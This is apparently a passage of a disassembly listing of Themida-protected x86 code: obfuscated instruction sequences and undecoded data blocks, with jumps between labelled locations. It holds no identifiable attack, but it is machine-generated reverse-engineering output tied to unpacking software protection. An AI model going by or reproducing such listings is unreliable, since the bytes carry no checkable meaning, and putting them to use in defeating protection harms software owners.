0E99C2404h, 0FFFF7DB0h, 0FE58C628h dd 0CEE680C6h, 5104EEC0h, 0CE0011B1h, 0A2EB8059h, 0C380F300h dd 0C3005AA2h, 0FFF522E9h, 2CF800FFh, 0E9EB2CA1h, 0FFFF986Fh dd 4EF815Ch, 81000000h, 4ECh, 243C8900h, 42474FFh, 24048F5Fh dd 8924248Bh, 6768243Ch, 8B19D310h, 0C483243Ch, 0D506804h dd 0CCE90000h, 0FF000022h, 575E2434h, 0C781E789h, 4, 8704EF83h dd 0E95C243Ch, 0AFF8h, 4EC815Ch, 89000000h, 0BD552434h dd 72172299h, 0FF8CB2E9h, 0A8B252FFh, 81D38853h, 4ECh dd 240C8900h, 0FEE9DD88h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558713: ; CODE XREF: Themida_:00559298j mov edi, [esp] jmp loc_564CCC ; --------------------------------------------------------------------------- db 51h dd 4B9h, 0B3EDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558726: ; CODE XREF: Themida_:00558F06j mov edi, 3A611FC0h add eax, edi mov edi, [esp] jmp loc_564C8F ; --------------------------------------------------------------------------- db 81h, 0C9h, 68h dd 81191837h, 63C896C1h, 0F0ED81E6h, 110C96Eh, 0F0C581CDh dd 5910C96Eh, 4EC81h, 4890000h, 2B4F6824h, 14890000h, 624CBA24h dd 0EC831BCAh, 241C8904h, 44057EBBh, 0DAE94B3Fh, 89000008h dd 0C9E95AD5h, 680000C1h, 4F47h, 0BB241C89h, 7DDF7392h dd 0F705EBC1h, 2E3C1DBh, 8622E9h, 2CE6800h, 9CE90000h dd 89FFFF8Fh, 43BD242Ch, 29035D04h, 0EC815DEEh, 4, 53240489h dd 6A5428BBh, 0E9D88931h, 0A3D0h, 8B241433h, 0C80F2424h dd 0D3ACE9h, 4C48300h, 81E38953h, 4C3h, 0FC8DE900h, 0F089FFFFh dd 8324348Bh, 37E904C4h, 580000A7h, 29C0E9h, 2C58100h dd 58613967h, 31242C33h, 6DE9242Ch, 51000012h, 977CE9h db 0 ; --------------------------------------------------------------------------- loc_55880D: ; CODE XREF: Themida_:005603FBj push eax mov eax, 656215B3h push edi jmp loc_5584D1 ; --------------------------------------------------------------------------- db 68h, 45h, 71h dd 525B2978h, 6C7CA9BAh, 5C3FE918h, 0EEC10000h, 0F6814608h dd 428CD88Ch, 0E95EF201h, 0FFFF98D0h, 4C4835Fh, 148BD129h dd 2A7CE924h, 34FF0000h db 24h, 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_555B63 ; --------------------------------------------------------------------------- dd 0D34B3D68h, 0CE95F23h, 59FFFFA2h, 0FD2CD828h, 0CE9B22Ch dd 0B2000056h, 51C2803Ah, 9F86E9h, 2C48300h, 0B151D800h dd 59C828D2h, 0E3E9A804h, 83FFFFD4h, 0E381FFEBh, 4C510CC8h dd 8107EBC1h, 7A5D3BC3h, 5E3C138h, 6C4CC381h, 17E9715Ah dd 0FE000042h, 0E99C240Ch, 0FFFF7B68h ; --------------------------------------------------------------------------- loc_5588B8: ; CODE XREF: Themida_:00554D1Bj sub eax, 77F73BF3h not eax sub eax, 1719DBF7h push ebx mov ebx, eax mov ebp, ebx pop ebx pop eax sub eax, ebp pop ebp push eax push dword ptr [esp+4] pop eax jmp loc_5569D7 ; --------------------------------------------------------------------------- db 81h, 0EAh, 7 dd 0E9190D31h, 0FFFFE59Eh, 5C243C87h, 1BB535Fh, 29000000h dd 0AA685BDAh, 89000055h, 14F72414h, 71A7E924h, 8B660000h dd 0C483240Ch, 0D16E902h, 0C4830000h, 0EC835D04h, 241C8904h dd 0C763C5BBh, 5EBC10Ch, 653BCB81h, 0BA521535h, 37E01853h dd 1C37E9h, 242C8900h, 3458CDBDh, 0AFCD8171h, 520EE326h dd 51E5E9h, 2FBF5700h, 0E9159A08h, 3A19h, 0E9243433h, 31FFh dd 0E905EDC1h, 0FFFF966Bh, 0E953D8B7h, 0FFFFDF84h, 66031ABEh dd 5EF72962h, 684FEFD1h, 32A8h, 0E9243C89h, 0FFFF88BAh dd 384A5DB8h, 8BC3011Ch, 0C4812404h, 4, 0EB81D301h, 1C384A5Dh dd 3AC3815Ah, 29036577h, 3AEB81C3h, 68036577h, 29B9h, 0B9240C89h dd 2A174D38h, 0EFE952h, 248B0000h, 0E3895324h, 4C381h dd 56550000h, 2D3D41BEh, 5EF58916h, 0D1F7CD87h, 5150CD87h dd 80EA668h, 8B515914h, 0C4812404h, 4, 0FFDDE9E9h, 1C77FFFFh dd 6659669Dh, 9C2414D3h, 3BC5E9h db 0 ; --------------------------------------------------------------------------- loc_5589FD: ; CODE XREF: Themida_:00561B3Dj add eax, 4 xchg eax, [esp] jmp loc_55C3FC ; --------------------------------------------------------------------------- aDzGhia db '˝Z',0Dh,'ghëa',0 align 2 dw 1C89h dd 3045BB24h, 0DBF70C0Dh, 0A619E943h, 0E9510000h, 0FFFFE209h dd 0E981F101h, 799655FDh, 0C1E1D15Eh, 0B6806E9h, 8900000Fh dd 0F4682434h, 89000059h, 0EC83240Ch, 24348904h, 285C5668h dd 0BF575E55h, 38F17290h, 0A292E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558A5E: ; CODE XREF: Themida_:00561D0Dj add ah, 45h sub bl, ah pop eax movzx eax, al mov dx, [esp] push 5132h mov [esp], ebp jmp loc_555DC2 ; --------------------------------------------------------------------------- dd 3659E181h, 0E1C163DBh, 0C1D1F702h, 0D1F705E1h, 8C05E955h dd 36BEFFFFh, 8149EF7Eh, 3154CC6h, 5BE3E93Bh, 0D1010000h dd 4C1835Ah, 9C63E9h, 71E95000h, 5C0000C2h, 56B268h, 241C8900h dd 83D6852h, 148B39C3h, 4C48124h, 0C1000000h, 0BF5707EAh dd 73860Ch, 815FFA29h, 4ECh, 0C6D5E900h, 1C89FFFFh, 0AB85024h dd 35508004h, 35D86D95h, 34FFC389h, 89525824h, 0C11AE9E2h dd 0E9520000h, 0FFFFFB23h, 6F0682B8h, 0CFF5016h, 78E95824h dd 8100004Fh, 0E514A4C2h, 81EA2971h, 0E514A4EAh, 0D6895D71h dd 9C68515Ah, 0E9218B3Eh, 0A0DEh ; --------------------------------------------------------------------------- loc_558B2C: ; CODE XREF: Themida_:00564629j pop ebp add ebp, 4 add ebp, 4 jmp loc_563068 ; --------------------------------------------------------------------------- db 51h dd 6C43D2B9h, 0F7D1F763h, 0BEC981D9h, 0C10DD246h, 0F18103E9h dd 34C376Dh, 8959C801h, 0FE2958C7h, 0E9243C8Bh, 1968h dd 0C21AF4B8h, 8BC531ADh, 0C4812404h, 4, 0FF919AE9h, 1C77FFFFh dd 0D259669Dh, 0E99C241Ch, 0FFFF7898h, 4BAh, 24540100h dd 9545E904h, 0D5010000h, 0EB89535Ah, 2EE9DF89h, 1FFFFA0h dd 0CAEE81CEh, 5921F30Fh, 7CE95755h db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558BB3: ; CODE XREF: Themida_:005601FCj mov esi, esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx mov edx, 4 add esi, edx pop edx jmp loc_55E2DE ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 3436E9h, 0ECE95500h, 8100003Ch, 0E0082444h, 290BC843h dd 8108244Ch, 0E008246Ch, 590BC843h, 4244401h, 4244481h dd 66D512FFh, 4246C81h, 2B964049h, 44D5E958h, 14890000h dd 0ED49E924h, 15DFFFFh, 0BD5559C8h, 4, 0B243E9h, 24248B00h dd 840FC009h, 0C5ABh, 0FF1C77FFh, 0C8B2434h, 4C48324h dd 0FFCDACE9h, 0C1D8F7FFh, 0B56804E8h, 8900004Eh, 6ABD242Ch dd 813F646Bh, 0A0051F5h, 0F5814D07h, 380B23h, 90B7E94Dh dd 0DAF70000h, 77F4F281h, 0EAC14539h, 8E2C104h, 8102EAC1h dd 0E05484C2h, 8BD001C4h, 0C4832414h, 0EC815304h, 4, 0E9243489h dd 405Dh, 0FF2434FFh, 535F2434h, 0C381E389h, 4, 8704C383h dd 565C241Ch, 0C681E689h, 4, 4C681h, 34870000h, 5B5BE924h dd 515D0000h, 4B9h, 8BC82900h, 0C481240Ch, 4, 2F1DE9h dd 52E95800h, 0BE000087h, 4, 835EF101h, 0C8704C1h, 8C5BE924h dd 0C8B0000h, 0AE81E924h, 0BB53FFFFh, 10852FADh, 6DC5B850h dd 0C281503Bh, 21EC22ABh, 0FFF938E9h, 0E9EA80FFh, 0FFB0F8E9h dd 5EF589FFh, 4246C01h, 0FFD619E9h, 78E95BFFh, 0C100009Dh dd 0BD5508E6h, 547F7AC4h, 68D5F74Dh, 6AF0h, 55240C89h dd 7F6F6668h, 242C8B54h, 4C481h, 81E90000h, 81000044h dd 4C4h, 3C335B00h, 243C3124h, 0E9243C33h, 0FFFFC578h dd 0BE56E389h, 47C62EFBh, 96AEE94Eh, 0BA520000h, 6136A5Dh dd 0FFB4C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_558D85: ; CODE XREF: Themida_:0055DD45j push ebx push ebp push 0C37649h jmp loc_5638B9 ; --------------------------------------------------------------------------- db 58h, 81h, 0C2h dd 1671463Bh, 0E950DA01h, 0FFFFDBBEh, 66F28142h, 893D726Fh dd 0B14BE9D0h, 0CF810000h, 3F783C8Dh, 0A587EF81h, 0FA898429h dd 0CA814A5Fh, 65550367h, 0FFC681E9h, 2953BFFFh, 0CF8111D2h dd 25A26C9Ch, 1A3EBA52h, 0D7291C65h, 7FBE9h, 81F70100h dd 2C1E4FEFh, 0B7C78158h, 0E90E0F27h, 0FFFFD47Ah ; --------------------------------------------------------------------------- loc_558DF4: ; CODE XREF: Themida_:00560EE2j xchg ecx, [esp] pop esp jmp loc_555059 ; --------------------------------------------------------------------------- db 0BAh, 0FDh, 9Eh dd 0D5E9F13Eh, 2C000015h, 0A1B3536Dh, 5CB55166h, 0FFA57CE9h dd 0AD685CFFh, 8900004Fh, 50E92414h, 8BFFFFFAh, 0F9682404h dd 8900004Bh, 71E9242Ch, 0C100002Eh, 0BC2D04E0h, 187E7F0h dd 32ACE9C2h, 0C4810000h, 4, 0E9241C87h, 46Ch, 2D35CA81h dd 0E94A5238h, 17ACh, 0BE565B59h, 26A31FDCh, 0FFCFB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_558E69: ; CODE XREF: Themida_:0055BA65j xchg ecx, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], ebx mov ebx, 399955A6h push ebp mov ebp, 399955A2h add ebx, 49772895h sub ebx, ebp sub ebx, 49772895h pop ebp add esi, ebx pop ebx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 sub eax, ebx pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_55C9F5 ; --------------------------------------------------------------------------- dd 805BFD30h, 0C580FFC5h, 59E830CBh, 179EE9h db 0 ; --------------------------------------------------------------------------- loc_558EE5: ; CODE XREF: Themida_:00555D31j jmp loc_550420 ; --------------------------------------------------------------------------- dw 1489h dd 8291E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558EF2: ; CODE XREF: Themida_:0055E8EFj add esp, 4 push edi mov edi, 2 sub eax, 3A611FC0h add eax, edi push edi jmp loc_558726 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 5247h, 68241C89h, 546Dh, 83242489h, 5B042404h dd 68505352h, 67660214h, 0E3E0D58h, 0BD55576Dh, 5AC12C3h dd 4B1EE9h, 0DBEF8100h, 21706985h, 3BE95FFDh, 68FFFFEFh dd 1C69h, 0FF81DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_558F55: ; CODE XREF: Themida_:0055610Aj sub edi, 8296AB4h sub edi, 5B2E6745h sub edi, 0DD23936Ch jmp loc_55288C ; --------------------------------------------------------------------------- dd 24048B66h, 0FFAA3CE9h, 240C89FFh, 21D2E9h db 0 ; --------------------------------------------------------------------------- loc_558F7D: ; CODE XREF: Themida_:005598EDj mov ebp, 4B6018FFh dec ebp jmp loc_55A206 ; --------------------------------------------------------------------------- aLSas db '$$é ',0 align 10h dd 0EC9ABD55h, 0EE29FB9Bh, 0F7DEF75Dh, 32EE81DEh, 0E9401210h dd 0B387h, 55243C8Bh, 5906E9h, 2434FF00h, 0E92434FFh, 9DF5h dd 3592BE56h, 0C6810B5Eh, 6C694E63h, 8103E6C1h, 194ADECEh dd 81DEF731h, 0C2A006F6h, 8BF00140h, 20E92434h, 80FFFF98h dd 0FEE998EAh, 81FFFFE3h, 4C4h, 0D6BD5500h, 87359660h dd 0E9D1F7CDh, 0BF79h ; --------------------------------------------------------------------------- loc_559000: ; CODE XREF: Themida_:00557ACAj xchg ebp, [esp] pop esp sub esp, 4 jmp loc_561E14 ; --------------------------------------------------------------------------- db 83h dd 0C4E904C4h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559017: ; CODE XREF: Themida_:00555FB8j push edx push eax push 5E2C1D39h jmp loc_55A495 ; --------------------------------------------------------------------------- db 54h dd 4C3815Bh, 81000000h, 4EBh, 241C8700h, 8FF3E9h db 0 ; --------------------------------------------------------------------------- loc_559039: ; CODE XREF: Themida_:00554EF3j not ecx sub ecx, 4043C71Bh jmp loc_552E76 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0C9FFE9h, 4FCB8100h, 8152CA54h, 3F331EBh dd 5BDA3164h, 7CE9D089h, 89000024h, 4C581E5h, 81000000h dd 4EDh, 242C8700h, 242C895Ch, 2434FF54h, 0B7E9575Dh, 5000004h dd 4, 0FF886BE9h, 5FFE01FFh, 1D17C681h, 0C601407Eh, 687ABF57h dd 0DFF77C53h, 4287C781h, 0F78134E5h, 5C215D6h, 4D3CC781h dd 0FFE9832Ah, 8B00008Ch, 0C483240Ch, 6FE95604h, 500000CAh dd 42474FFh, 24048F58h, 66E5285Ch, 0B6525358h, 29E68002h dd 6602EC83h, 0B3241C89h, 80CBFE83h, 81E9BCC3h, 0D0000BFh dd 4DCC6032h, 8A25E956h, 7B68FFFFh, 89000049h, 0C1682414h dd 89000058h, 0B2522404h, 4CE280FDh, 0D005E2C0h, 80DAF6EAh dd 75E983F2h, 53FFFF93h, 490DFABBh, 5BDE8909h, 0FFFFEE81h dd 0C683FFFFh, 2BE68101h, 5210AC20h, 0FF8433E9h, 0F1EA81FFh dd 0E971CB4Fh, 0FFFFA9F2h, 0FF244729h, 80E92434h, 5B00002Ah dd 5C240487h, 0E959E830h, 5C4h, 4393C381h, 63E9756Ch, 5A0000A1h dd 241C8B66h, 2C481h, 0D8000000h, 8EB65253h, 884AF680h dd 0EB805AF3h, 0E9A32C12h, 8053h, 2E66E95Dh, 0C4830000h dd 0C8AE904h, 895C0000h, 74FF240Ch, 8F590424h, 248B2404h dd 0BB0F6624h, 0E99C2404h, 0FFFF726Ch, 85E3BE56h, 0F02901D0h dd 58C5315Eh, 2BCEE952h, 81590000h, 1547FFEAh, 0C62AE91Dh dd 9805FFFFh, 0C178C84Bh, 0ABE904E8h, 89FFFFE3h, 3414E9E7h dd 77FF0000h, 0E8E1E92Ch, 0E5D1FFFFh, 5A4E956h, 0EF830000h dd 91CF81FFh, 47328F2Ch, 8B2EE94Fh, 68580000h, 7C19h, 0BD242C89h dd 43F565F3h, 0FFEF3BE9h, 4C483FFh, 0FFB45CE9h db 0FFh ; --------------------------------------------------------------------------- loc_559221: ; CODE XREF: Themida_:005558EBj add esi, eax jmp loc_55FB67 ; --------------------------------------------------------------------------- dd 241C895Ch, 0FF8EF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_559231: ; CODE XREF: Themida_:0055B11Cj pop edx mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp sub esp, 4 jmp loc_55C8B9 ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 72EFE924h, 0D101FFFFh, 0FFDFE5E9h, 85ED81FFh dd 11AD5C6h, 0B9515DE8h, 67FF6107h, 0E959CD01h, 0B7DCh dd 242C895Ch, 0C5815D54h, 4, 0FFE90CE9h, 4C481FFh, 81000000h dd 4ECh, 9FC3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559296: ; CODE XREF: Themida_:0055B27Ej mov edx, edi jmp loc_558713 ; --------------------------------------------------------------------------- db 66h, 81h, 0F6h dd 2966C774h, 0A74E9F0h, 0D0010000h, 5B18932Dh, 6EBF5713h dd 0E968B468h, 174Ch, 8924248Bh, 0E189240Ch, 18CABA52h dd 0F2816BFAh, 754118A0h, 9FBB850h, 0A3E97527h, 68FFFFE6h dd 6672h, 57242C89h, 7F23F4BFh, 23F0BD22h, 0FD31227Fh dd 2F61E95Fh, 0C7810000h, 4, 5C243C87h, 2823EB80h, 23C380C3h dd 0E924048Bh, 9E66h, 6659CB29h, 1D1B6851h, 4890000h, 8410E924h dd 3C87FFFFh, 24248B24h, 9CC88566h, 0FF70EFE9h, 4EE81FFh dd 87000000h, 895C2434h, 0BE2434h, 56000000h, 81242C81h dd 8B79A73Eh, 0C483241Ch, 0DB10E904h, 0D5F7FFFFh, 2C8FED81h dd 0CD814FD4h, 59CF00BFh, 8288E9h, 1BF9BE00h, 0DEF766A2h dd 0E6C1DEF7h, 74EE8107h, 8905E291h, 0B1A7E9F2h, 0D0F6FFFFh dd 6B2E9h db 0 ; --------------------------------------------------------------------------- loc_559389: ; CODE XREF: Themida_:005511F3j pop eax sub edx, edi mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_5519E9 ; --------------------------------------------------------------------------- dd 205h, 6DB0E900h, 0EB810000h, 9CC6ED6h, 0FFE19FE9h, 241C89FFh dd 0DA0C52BBh, 0E9DD2109h, 0FFFFF965h, 0BB241C89h, 21CF1533h dd 0FFA2F6E9h, 24048FFFh, 2097E9h, 3C77FF00h, 0B9E953h dd 48F0000h, 24048324h, 24048B04h, 504C483h, 4, 0C2FFE953h dd 0ED81FFFFh, 4, 0E9242C87h, 1E0Fh, 77C26856h, 348B0BDAh dd 4C48124h, 0C1000000h, 79E902EEh, 5BFFFFE1h, 4C481h dd 34FF0000h, 0C4835924h, 24148704h, 0FFE898E9h, 148B66FFh dd 19E95024h, 8300002Ah, 0ACE904C4h, 68FFFFA0h, 76EFh dd 53243489h, 4BBh, 0E9DE8900h, 3671h, 7424BF57h, 5EE95873h dd 66FFFF8Ch, 68240C8Bh, 141Bh, 54243C89h, 9E22E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55947A: ; CODE XREF: Themida_:005521BCj sub edx, 107B1CE6h add edx, esi add edx, 107B1CE6h add edx, 72B07B56h pop esi push edi sub esp, 4 jmp loc_5511E4 ; --------------------------------------------------------------------------- db 0BBh dd 29760E7Bh, 4245C29h, 2434FF5Bh, 0FFDAA8E9h, 0E18951FFh dd 4C181h, 0C1810000h, 4, 8B240C87h, 0E9532424h, 0FFFF8540h dd 5C243C87h, 0FF9415E9h db 0FFh ; --------------------------------------------------------------------------- loc_5594D1: ; CODE XREF: Themida_:00557979j push esp push dword ptr [esp] pop eax sub esp, 4 jmp loc_55B546 ; --------------------------------------------------------------------------- db 42h, 0E9h, 3Bh db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5594E7: ; CODE XREF: Themida_:005644F3j sub ebx, ecx add ebx, 7A659F2h pop ecx push small word ptr [eax] jmp loc_550420 ; --------------------------------------------------------------------------- dd 50E9D001h, 81FFFF8Eh, 3B7708E7h, 6EFC160h, 0E933EF81h dd 0FB31B171h, 0FF8848E9h, 806858FFh, 0E9000029h, 0FFFF7382h dd 1B7CEF81h, 0C7011E5Dh, 1B7CC781h, 57581E5Dh, 42474FFh dd 5F2434FFh, 0CAF4E950h, 0E789FFFFh, 4C781h, 0C7810000h dd 4, 2474FF57h, 48F5F04h, 72A5E924h, 0E9800000h, 0E10058F1h dd 807CC180h, 41E9DEE9h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55956B: ; CODE XREF: Themida_:00552899j push ebp mov ebp, 60B16ABBh add ebp, 6721241Bh not ebp push ecx mov ecx, 45FA190Ah jmp loc_5511CB ; --------------------------------------------------------------------------- dd 5C243C87h, 4516E9h db 0 ; --------------------------------------------------------------------------- loc_55958D: ; CODE XREF: Themida_:0055A6ECj pop dx pop ecx mov ecx, [esp] add esp, 4 jmp loc_5599D8 ; --------------------------------------------------------------------------- dw 0EE05h dd 110AB09h, 9EE2DD0h, 0EC2D10ABh, 0FF631536h, 52E92434h dd 8100007Ah, 4C2h, 4C28100h, 0E9000000h, 8A87h ; --------------------------------------------------------------------------- loc_5595C8: ; CODE XREF: Themida_:00557E4Fj mov [esp], ebx mov bh, 0BBh xor al, bh pop ebx push ecx push ebx mov bl, 0F2h and bl, 1Ah jmp loc_564A15 ; --------------------------------------------------------------------------- dd 81DFF75Ah, 0B06185EFh, 702FE986h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5595EA: ; CODE XREF: Themida_:005611BBj pop edi add esp, 4 add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 2F08h mov [esp], edi push ecx mov ecx, 59316A3Bh mov edi, ecx pop ecx xor edi, 38D43F70h sub edi, 6EC63795h push ebx jmp loc_5533FD ; --------------------------------------------------------------------------- dd 0F4BEB80h, 44E9C0B6h, 89000070h, 0E2E9241Ch, 81FFFFF1h dd 4F1398F7h, 0BA525842h, 213B1459h, 815AD701h, 78886F7h dd 5FFA2999h, 8077E952h, 15E0000h, 0B9515EF0h, 52674603h dd 71E9C829h, 2D000061h, 33526C00h, 0FF91EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_559671: ; CODE XREF: Themida_:00553E10j add eax, edi add eax, 6B24FA0h pop edi push eax neg dword ptr [esp] mov eax, [esp] add esp, 4 neg eax inc eax push ebx jmp loc_563465 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 1C8704C3h, 0E9505C24h, 26D1h, 3CC0EE81h dd 0EE8104D7h, 5F724417h, 87D2E9h, 0D9015A00h, 7928E981h dd 815B00D0h, 2C1h, 240C8700h, 0E924248Bh, 0FFFF8555h dd 5C243C87h, 9C2424D3h, 45E3E9h, 0EC835B00h, 24048904h dd 0C51C42B8h, 58C3293Ch, 0FFF6A0E9h, 7E681FFh, 816B3D0Bh dd 0A63DADF6h, 0B29CE945h, 34FF0000h, 0C4815824h, 4, 0E908E0C1h dd 4379h, 89243489h, 4C681E6h, 0E9000000h, 0FFFFDC86h dd 92E95251h, 830000C4h, 0E95304EBh, 0A80Dh, 2474FF53h dd 241C8B04h, 8F04C483h, 248B2404h, 4296624h, 0D1E99C24h dd 89FFFF6Ch, 2BD242Ch, 68000000h, 5A9Fh, 0B8240489h, 462154D8h dd 0FFE8E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_559769: ; CODE XREF: Themida_:00560993j mov eax, [esp] jmp loc_554745 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48359h, 0C581DDF7h, 60154EDFh, 3EAEB850h, 0C501820Bh dd 3F69E9h, 14E95300h, 0Ah, 933EE9D8h, 0A9BEFFFFh, 0E953880Fh dd 81E4h, 0E908E0C1h, 0FFFFD683h, 24048B66h, 68916855h dd 24890000h, 24048324h, 2434FF04h, 4C4815Dh, 0E9000000h dd 1CCBh, 24048F5Eh, 63E9515Ch, 68FFFFB4h, 4AD9h, 0E9h dd 24248900h, 4240483h, 0AAFFE9h, 2B900h, 0ED810000h, 281E12F1h dd 0BB53CD29h, 1F4E1A56h, 0FFA75BE9h, 0C0B60FFFh, 0FF8071E9h db 0FFh ; --------------------------------------------------------------------------- loc_55980D: ; CODE XREF: Themida_:00550AFBj pop esp sub esp, 4 mov [esp], ebx push ebp push 62FE697Ch mov ebp, [esp] add esp, 4 jmp loc_553A62 ; --------------------------------------------------------------------------- aSzy db 'Áę',8,'éZY',0 dw 2900h aXSb db 'ÂX)ÓéB-',0 dd 0C8B6600h, 34556824h, 0C890000h, 0B226824h, 24890000h dd 5FB95124h, 0F744847Ah, 3F44E9D1h, 0F0000000h, 52E8285Ah dd 0D02820B2h, 459665Ah, 2CE800C3h, 66D104C3h, 83240C8Bh dd 206802C4h, 8900007Fh, 13B1240Ch, 8002E9C0h, 0B450ADF1h dd 1FF48051h, 0E91DE480h, 2C83h, 2C8BE801h, 4C48324h, 3302C083h dd 4312404h, 24043324h, 6624248Bh, 2404AB0Fh, 6B66E99Ch dd 0EF81FFFFh, 3D917877h, 50241C8Bh, 405E089h, 0E9000000h dd 0FFFF8582h ; --------------------------------------------------------------------------- loc_5598D0: ; CODE XREF: Themida_:00559DDDj xchg ecx, [esp] pop esp push edx push esp pop edx push eax mov eax, 48E3448Dh add eax, 5AAA58FDh neg eax add eax, 0A38D9D8Eh add edx, eax pop eax push ebp jmp loc_558F7D ; --------------------------------------------------------------------------- dw 0AE68h dd 587A6D15h, 0D1079325h, 7216E909h, 0C1830000h, 1BF181FFh dd 896A2381h, 0EC8359CEh, 24348904h, 10DBBB53h, 0B3BE25CDh dd 14D8F08h, 0F7895BDEh, 0AFFFE9h db 0 ; --------------------------------------------------------------------------- loc_559929: ; CODE XREF: Themida_:0055B8C2j sub esp, 4 mov [esp], esi jmp loc_554F5E ; --------------------------------------------------------------------------- dd 72E36855h, 2C8B779Eh, 0DB1CE924h, 0F66FFFFh, 3BE902B6h dd 57000076h, 0EFE9E789h, 66FFFFB9h, 68240489h, 3B53h dd 0B5240C89h, 0E9CEB4D9h, 2EA3h, 4C481h, 0C6830000h, 24348704h dd 0F724248Bh, 2D8C68F9h, 8FE90000h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559983: ; CODE XREF: Themida_:0055495Cj xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ecx mov cl, 70h sub al, cl push dword ptr [esp] jmp loc_555658 ; --------------------------------------------------------------------------- aIsya db '[)ëéY',0 align 4 dd 8B243433h, 0F662424h, 9C2404B3h, 0FF6A6BE9h, 24248BFFh dd 22BB68h, 24148900h, 0BF575A54h, 25CF45DAh, 6DCAC781h dd 0EF875EADh, 0E945D5F7h, 693Eh ; --------------------------------------------------------------------------- loc_5599D8: ; CODE XREF: Themida_:00559599j sub bl, 0F5h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h, 66h dd 53240C8Bh, 9D68E389h, 8900004Dh, 0BE562414h, 698A666Ah dd 6B42E9h, 0E9F32900h, 0FFFF8669h ; --------------------------------------------------------------------------- loc_559A04: ; CODE XREF: Themida_:005560CDj push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_55EE26 ; --------------------------------------------------------------------------- db 0B6h dd 0E9F030F9h, 67E1h, 0DAB85095h, 5632965h, 22C87E9Eh dd 0C83F6C35h, 46F82551h, 0B4E93CEEh, 0C0FFFFF6h, 0E95108E0h dd 0FFFFE1FEh, 4C681h, 0C6810000h, 4, 0FFEEFBE9h, 0D7F580FFh dd 7AC580h, 685B59E8h, 445h, 89243489h, 4EC83E6h, 0E9243C89h dd 0FFFF9BABh, 8B242C33h, 1C892424h, 80CFB324h, 0B6525EEBh dd 52EB8094h, 0C380F328h, 0DC8BE952h, 68B1FFFFh, 0D08AC180h dd 6E1C0E9h, 8845C180h, 0F48059CCh, 66DCF671h, 9D71E953h dd 315EFFFFh, 2434FFC8h, 4C48159h, 57000000h, 6A8D68h dd 0F018E900h, 0D1F6FFFFh, 80FCE180h, 0C18045C9h, 59CB0033h dd 0EB80C300h, 54515008h, 592434FFh, 8104C483h, 4C1h, 2E98100h dd 33000000h, 0C31240Ch, 240C3324h, 1C89665Ch, 4EC8324h dd 6E18E9h, 0D3F75900h, 4EC81h, 14890000h, 0EC835724h dd 24348904h, 1402ABBEh, 46DFE972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559B22: ; CODE XREF: Themida_:0055DCBBj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55585C ; --------------------------------------------------------------------------- db 58h, 86h, 0D7h dd 0D3885366h, 0DA88D3F6h, 51665B66h, 8851D588h, 0EF8853FDh dd 8B5BFA88h, 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 7353E95Ch, 0D2F7FFFFh, 0FFB474E9h, 685752FFh, 977409h dd 81D7F75Fh, 0DB3B03F7h, 0F22CE92Eh, 3489FFFFh, 7E66BE24h dd 0C6814EE2h, 0FFFFFFFFh, 0D3F7DE87h, 0B951DE87h, 0B11D819Eh dd 5D96E9h, 81E58900h, 4C5h, 6C83E900h, 0D9010000h, 58F4C181h dd 0B85042A2h, 0F3F5301h, 0E958C129h, 0FFFFDD1Ah, 4C281h dd 0C2810000h, 4, 5C241487h, 0C18EE950h, 489FFFFh, 80EBB424h dd 0DCF6FACCh, 528BE480h, 0EC81F3B2h, 2, 240C8966h, 7F9E9h dd 50BD5500h, 8139A14Dh, 52304DF5h, 76B85062h, 0E9C5C09Dh dd 41D5h, 4EE81h, 34870000h, 2784E924h, 38BB0000h, 0E96AB82Eh dd 5F1h, 4EC8355h, 0FFF793E9h, 3EBC0FFh, 0DBF6DBF6h, 3726E9h dd 1CF38100h, 8174AD6Dh, 55195FC7h, 81DF2978h, 55195FEFh dd 241C8B78h, 104C483h, 2434FFF8h, 81243C8Bh, 4C4h, 0A372E900h dd 0C3810000h, 28FF46ACh, 48A4BF57h, 0FB014528h, 0FD7FE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559C7E: ; CODE XREF: Themida_:00554057j add edi, 4 jmp loc_560CF8 ; --------------------------------------------------------------------------- 